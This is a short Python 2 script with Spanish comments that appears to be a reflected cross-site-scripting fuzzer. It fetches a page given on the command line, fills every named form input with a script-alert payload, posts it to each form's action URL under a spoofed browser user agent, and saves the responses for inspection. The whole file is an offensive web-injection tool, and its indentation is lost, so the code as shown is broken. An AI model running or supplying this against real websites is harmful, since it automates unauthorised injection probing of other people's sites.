#!/usr/bin/python
import urllib2,urllib,sys,string
from HTMLParser import HTMLParser
class parsearhtml(HTMLParser):
formactual = -1
atributosform = []
atributosinput = []
def handle_starttag(self, tag, attrs):
atributosform = {}
atributosinput = {}
if tag=="form":
for i in range(len(attrs)):
atributosform[attrs[i][0]] = attrs[i][1]
self.atributosform.append(atributosform)
self.atributosinput.append([])
self.formactual+=1
if tag=="input":
for i in range(len(attrs)):
atributosinput[attrs[i][0]] = attrs[i][1]
self.atributosinput[self.formactual].append(atributosinput)
def obtenerhost(url): #Funcion que obtiene el host
if url[0:7]=='http://':
return url[0:url[7:].find('/')+7]
if url[0:8]=='https://':
return url[0:url[8:].find('/')+8]
return url
def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo...
i = len(url)-1
while i!=0:
if url[i]=='/': return url[:i+1]
i-=1
return url
def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables
global host,carpeta
if action.find('http://')!=-1 or action.find('https://')!=-1:
return action
if action[0]=='/':
return host+action
else :
return carpeta+action
url = sys.argv[1]
host = obtenerhost(url)
carpeta = obtenercarpeta(url)
#Variables de localizacion
useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"
cabeceras = { "User-Agent" : useragent }
code = urllib2.urlopen(url).read()
print "Codigo de la pagina obtenido ..."
try :
parser = parsearhtml()
parser.feed(code) # Ha recogido todos los forms y los inputs
except :
print "Hubo un error parseando el HTML"
#Ya tengo todos los datos necesarios
print "Datos obtenidos ..."
payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS
atributosform = parser.atributosform
atributosinput = parser.atributosinput
if len(atributosform)==0: print "No se encontraron forms"
for indice in range(len(atributosform)):
#Se obtiene la direccion a la que mandar los datos
print "Obteniendo direccion a la que mandar los datos... "
if atributosform[indice].has_key('action'):
urlamandar = obtenerruta(atributosform[indice]['action'])
else:
urlamandar = url
#Se empiezan a rellenar las variables con los payloads correspondientes...
maliciousdata = {}
print "Rellenando con los payloads las variables ..."
for varinput in atributosinput[indice]:
if varinput.has_key('name'):
maliciousdata[varinput['name']] = payloads[1]
maliciousdata = urllib.urlencode(maliciousdata)
req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras)
codeinfectado = urllib2.urlopen(req).read()
print "Escribiendo el archivo ",str(indice)+".html"
resultado = open(str(indice)+'.html','w')
resultado.write(codeinfectado)